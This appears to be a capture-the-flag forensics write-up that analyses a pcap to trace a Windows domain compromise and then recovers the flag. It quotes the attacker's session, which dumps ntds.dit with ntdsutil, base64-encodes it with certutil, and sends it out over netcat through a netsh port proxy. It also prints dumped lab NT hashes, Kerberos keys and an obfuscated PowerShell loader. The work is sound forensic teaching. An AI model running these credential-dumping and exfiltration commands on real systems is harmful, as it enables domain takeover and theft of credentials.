1339 words
7 minutes
Sherlock : PwnSec CTF 2025
2025-11-16
challenge png

let’s get straight into it, you have a 44 mb pcap file, and the flag is splitted into two parts:

  • part 1: What is the username of the first compromised user?
  • part 2: What is the final compromised user’s NTLM hash?
  • part 3: we have to find ourselves 

opening the pcap file and filtering the pcap with http we can see a NTLM_AUTH request to user poppy.evans that has 200 response code, indicating a successful authentication.
http request

after that you’ll notice a GET request to /nc64.exe which is likely a netcat binary, following the tcp stream after the download you ll find an exfil traffic:

Terminal window
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\temp>
whoami
whoami
pwnsec\poppy.evans
PS C:\temp>
hostname
hostname
WIN-GF44DNL461J
PS C:\temp>
ls
ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/16/2025 12:53 AM 45272 nc.exe
PS C:\temp>
cd ../users
cd ../users
PS C:\users>
ls
ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/16/2025 12:14 AM Administrator
d----- 9/15/2025 11:28 PM poppy.evans
d-r--- 9/11/2025 12:17 AM Public
PS C:\users>
cd poppy.evans
cd poppy.evans
PS C:\users\poppy.evans>
ls
ls
Directory: C:\users\poppy.evans
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 5/8/2021 1:20 AM Desktop
d-r--- 9/16/2025 12:50 AM Documents
d-r--- 5/8/2021 1:20 AM Downloads
d-r--- 5/8/2021 1:20 AM Favorites
d-r--- 5/8/2021 1:20 AM Links
d-r--- 5/8/2021 1:20 AM Music
d-r--- 5/8/2021 1:20 AM Pictures
d----- 5/8/2021 1:20 AM Saved Games
d-r--- 5/8/2021 1:20 AM Videos
PS C:\users\poppy.evans>
netsh interface portproxy add v4tov4 listenport=8099 listenaddress=0.0.0.0 connectport=8888 connectaddress=192.168.1.91
netsh interface portproxy add v4tov4 listenport=8099 listenaddress=0.0.0.0 connectport=8888 connectaddress=192.168.1.91
PS C:\users\poppy.evans>
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\temp
*** Error: target folder c:\temp is not empty.
ifm: q
C:\Windows\system32\ntdsutil.exe: q
PS C:\users\poppy.evans>
ntdsutil "ac i ntds" "ifm" "create full c:\tmp" q q
ntdsutil "ac i ntds" "ifm" "create full c:\tmp" q q
C:\Windows\system32\ntdsutil.exe: ac i ntds
Active instance set to "ntds".
C:\Windows\system32\ntdsutil.exe: ifm
ifm: create full c:\tmp
Creating snapshot...
Snapshot set {6c2ae240-f648-4761-9611-f208d5c1cf79} generated successfully.
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} mounted as C:\$SNAP_202509160054_VOLUMEC$\
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} is already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$SNAP_202509160054_VOLUMEC$\Windows\NTDS\ntds.dit
Target Database: c:\tmp\Active Directory\ntds.dit
Defragmentation Status (complete)
0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................
Copying registry files...
Copying c:\tmp\registry\SYSTEM
Copying c:\tmp\registry\SECURITY
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} unmounted.
IFM media created successfully in c:\tmp
ifm: q
C:\Windows\system32\ntdsutil.exe: q
PS C:\users\poppy.evans>
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
DecodeFile returned The system cannot find the path specified. 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
CertUtil: -encode command FAILED: 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
CertUtil: The system cannot find the path specified.
PS C:\users\poppy.evans>
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
DecodeFile returned The system cannot find the path specified. 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
CertUtil: -encode command FAILED: 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
CertUtil: The system cannot find the path specified.
PS C:\users\poppy.evans>
certutil -encode "c:\tmp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
certutil -encode "c:\tmp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
Input Length = 25165824
Output Length = 34603064
CertUtil: -encode command completed successfully.
PS C:\users\poppy.evans>
certutil -encode "c:\tmp\REGISTRY\SYSTEM" "c:\tmp\n8vv63.b64"
certutil -encode "c:\tmp\REGISTRY\SYSTEM" "c:\tmp\n8vv63.b64"
Input Length = 15728640
Output Length = 21626936
CertUtil: -encode command completed successfully.
PS C:\users\poppy.evans>
echo 'hehe hacked'
echo 'hehe hacked'
hehe hacked
PS C:\users\poppy.evans>
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
.\nc.exe : The term '.\nc.exe' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:25
+ cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
+ ~~~~~~~~
+ CategoryInfo : ObjectNotFound: (.\nc.exe:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
PS C:\users\poppy.evans>
cd ../../temp
cd ../../temp
PS C:\temp>
ls
ls
Directory: C:\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/16/2025 12:53 AM 45272 nc.exe
PS C:\temp>
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
PS C:\temp>
cat c:\tmp\n8vv63.b64 | .\nc.exe 127.0.0.1 8099
cat c:\tmp\n8vv63.b64 | .\nc.exe 127.0.0.1 8099
PS C:\temp>
echo 'see you losers'
echo 'see you losers'
see you losers
PS C:\temp>

we can see that the attackered exfiltrated the ntds.dit and SYSTEM registry hive by encoding them to base64 and sending them over netcat to his machine listening on port 8888.

let’s recover the hashes from the ntds.dit and SYSTEM hive using impacket-secretsdump: filter for port 8888 to get the exfiltrated files and save them as ntds.b64 and system.b64 respectively, then decode them using base64:

import base64
def decode_from_b64(input_string):
return base64.b64decode(input_string)
with open("ntds.b64", "r") as file:
ntds_txt = file.read()
ntds_lines = ntds_txt.splitlines()
ntds_lines.pop(len(ntds_lines) - 1)
ntds_lines.pop(0)
ntds_txt = "".join(ntds_lines).strip()
ntds_bytes = decode_from_b64(ntds_txt)
with open("ntds.dit", "wb") as file:
file.write(ntds_bytes)
print("[*] Decoded NTDS.dit written to disk.")
with open("system.b64", "r") as file:
system_txt = file.read()
system_lines = system_txt.splitlines()
system_lines.pop(len(system_lines) - 1)
system_lines.pop(0)
system_txt = "".join(system_lines).strip()
system_bytes = decode_from_b64(system_txt)
with open("SYSTEM", "wb") as file:
file.write(system_bytes)
print("[*] Decoded SYSTEM hive written to disk.")

now we can use impacket to extract the hashes:
Terminal window
(env) impacket git:(master) python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
Impacket v0.14.0.dev0+20251114.155318.8925c2ce - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x1f9bdcb200506dd648138df83d3c9351
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 957a612aac3820aa5fa1907d7e9647f5
[*] Reading and decrypting hashes from ../../pwnsec/public(1)/Sherlock/ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b614d09260faaf8bce9cb239cfa1ef05:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-GF44DNL461J$:1000:aad3b435b51404eeaad3b435b51404ee:c14746c4ff5cf8365e6bec20c00605db:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a2df5c2cfa341cd95a06fdc07a724cf8:::
pwnsec.team\sienna.williams:1104:aad3b435b51404eeaad3b435b51404ee:792c20bc9c4a647b00609c9cd2d9d617:::
pwnsec.team\alex.thomas:1105:aad3b435b51404eeaad3b435b51404ee:10602252e2d10cf3d6363d6afce8280d:::
pwnsec.team\poppy.evans:1106:aad3b435b51404eeaad3b435b51404ee:5ebce04374bc98c0293008e9045975eb:::
pwnsec.team\kujen.svc:1111:aad3b435b51404eeaad3b435b51404ee:c20e364466f8594bda0a1cb60693e0a1:::
[*] Kerberos keys from ../../pwnsec/public(1)/Sherlock/ntds.dit
Administrator:aes256-cts-hmac-sha1-96:4dfa70904458e8655c50389ca10b8e9289360b5bdc0af86f141a761124fc0f6a
Administrator:aes128-cts-hmac-sha1-96:e1fca66e8d462d9b323751ddf62216ee
Administrator:des-cbc-md5:1fa7f72540fe7983
WIN-GF44DNL461J$:aes256-cts-hmac-sha1-96:11e8d765b48957f2cbfd83bf4c10517449164ddda088470cd57570074fd5c0f1
WIN-GF44DNL461J$:aes128-cts-hmac-sha1-96:08feab0308b8933ea1f02191b887010b
WIN-GF44DNL461J$:des-cbc-md5:eabc348557258557
krbtgt:aes256-cts-hmac-sha1-96:769499f20d9ee03a8bd50992c19a560d424ffd311a4de72668a2e1cd702d5536
krbtgt:aes128-cts-hmac-sha1-96:a6b675ac124b318384ff05c94f9e37f2
krbtgt:des-cbc-md5:31d073b6abbcb50e
pwnsec.team\sienna.williams:aes256-cts-hmac-sha1-96:340746e2b25381bbd36383b4c6d768b6df53edabb183695d5b9533b87e75fdb4
pwnsec.team\sienna.williams:aes128-cts-hmac-sha1-96:58fad49f5da4530e1c3431c13df6edf7
pwnsec.team\sienna.williams:des-cbc-md5:c7b3b686ae9de915
pwnsec.team\alex.thomas:aes256-cts-hmac-sha1-96:68d5a521f71a27875e7c684f52a5b2d922a537f0aa1eb60dde0afc0e54a4c734
pwnsec.team\alex.thomas:aes128-cts-hmac-sha1-96:53e8b54fc560509ee7ee0f8081ed5db4
pwnsec.team\alex.thomas:des-cbc-md5:d3f773b6a4251a58
pwnsec.team\poppy.evans:aes256-cts-hmac-sha1-96:ea8ebadfa3c79e423abf23ac4050abcfb6b6544b60bdd3cfc8e5b9d046625d23
pwnsec.team\poppy.evans:aes128-cts-hmac-sha1-96:97dd01c90fb0b5aef5411c3ce9f15632
pwnsec.team\poppy.evans:des-cbc-md5:402c9b3bdf2c10ea
pwnsec.team\kujen.svc:aes256-cts-hmac-sha1-96:442265438a6fafc2f46c4f2b14d4d562c55115d83bbceaa9e15480fde4f52581
pwnsec.team\kujen.svc:aes128-cts-hmac-sha1-96:e468dea1d141cf4484c0046394c3ded5
pwnsec.team\kujen.svc:des-cbc-md5:fba813c8bf97345b
[*] Cleaning up...
(env) impacket git:(master)

back to the pcap, when we filter for http and start from the end we can see a successful authentication to user alex.thomas so the second answer is its nt hash: 10602252e2d10cf3d6363d6afce8280d
Now that we have the NT hashes, we can decrypt the WinRM (WSMan) traffic. NTLMv2 secures the session using a key derived from the user’s NT hash, so each authenticated session must be decrypted with the correct NT hash. To do this, we use the WinRM decryption script from this Gist. The original script is designed to stop when it encounters traffic that cannot be decrypted.
Since our pcap contains multiple authenticated sessions, we remove the raise Exception line so the script simply skips packets it cannot decrypt and continues processing the rest.

Terminal window
python3 decrypt-winrm.py -n 10602252e2d10cf3d6363d6afce8280d /Sherlock/Sherlock.pcapng > Sherlock/alex.txt

inside the `alex.txt` file we can see the decrypted winrm traffic, greping for `Invode-Command` and b64 decoding we get this powershell script:
Terminal window
$best64code = "AZ3EWN3QzN0Y2MmNjZzQmNycTZ2kjN3cjZ1UmN1YjN3UjN" ;
$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; $Stripped = -join $base64 ;
$Padded = switch ($Stripped.Length % 4) { 0 { $Stripped }; 1 { $Stripped.Substring(0, $Stripped.Length - 1) }; 2 { $Stripped + ("=" * 2) }; 3 { $Stripped + "=" }} ;
$LoadCode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Padded)) ;
$RandomSTR64 = '40bpN1clJHcYVULlt0b25Wa'.ToCharArray() ; [array]::Reverse($RandomSTR64) ; $iexbase64 = -join $RandomSTR64 ;
$iexbase64 = switch ($iexbase64.Length % 4) { 0 { $iexbase64 }; 1 { $iexbase64.Substring(0, $iexbase64.Length - 1) }; 2 { $iexbase64 + '=' * 2 }; 3 { $iexbase64 + '=' } } ;
$iexcmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($iexbase64)) ;
$aliasSTR64 = 'ARvNEO'.ToCharArray() ; [array]::Reverse($aliasSTR64) ; $aliasbase = -join $aliasSTR64 ;
$aliasbase = switch ($aliasbase.Length % 4) { 0 { $aliasbase }; 1 { $aliasbase.Substring(0, $aliasbase.Length - 1) }; 2 { $aliasbase + '=' * 2 }; 3 { $aliasbase + '=' } } ;
$aliasFinal = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($aliasbase)) ;
$NULl = nEw-AlIaS -Name $AliASFInal -vALue $IExCmD -FOrce ; & $aLIAsfiNAl $lOAdCODe ;
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }</S>

comment the last two lines and add Write-Host "Executing payload... $aLIAsfiNAl $IExCmD $LoadCode" -ForegroundColor Yellow ; to print the decoded payload, running the modified script we get this payload:

Terminal window
Executing payload... 8CoD invoKe-EXpresSioN 6576656e5f77696e726d3f3f3f47475a7d

decoding the hex string 6576656e5f77696e726d3f3f3f47475a7d we get even_winrm???GGZ}

so the final flag is flag{poppy.evans_10602252e2d10cf3d6363d6afce8280d_even_winrm???GGZ}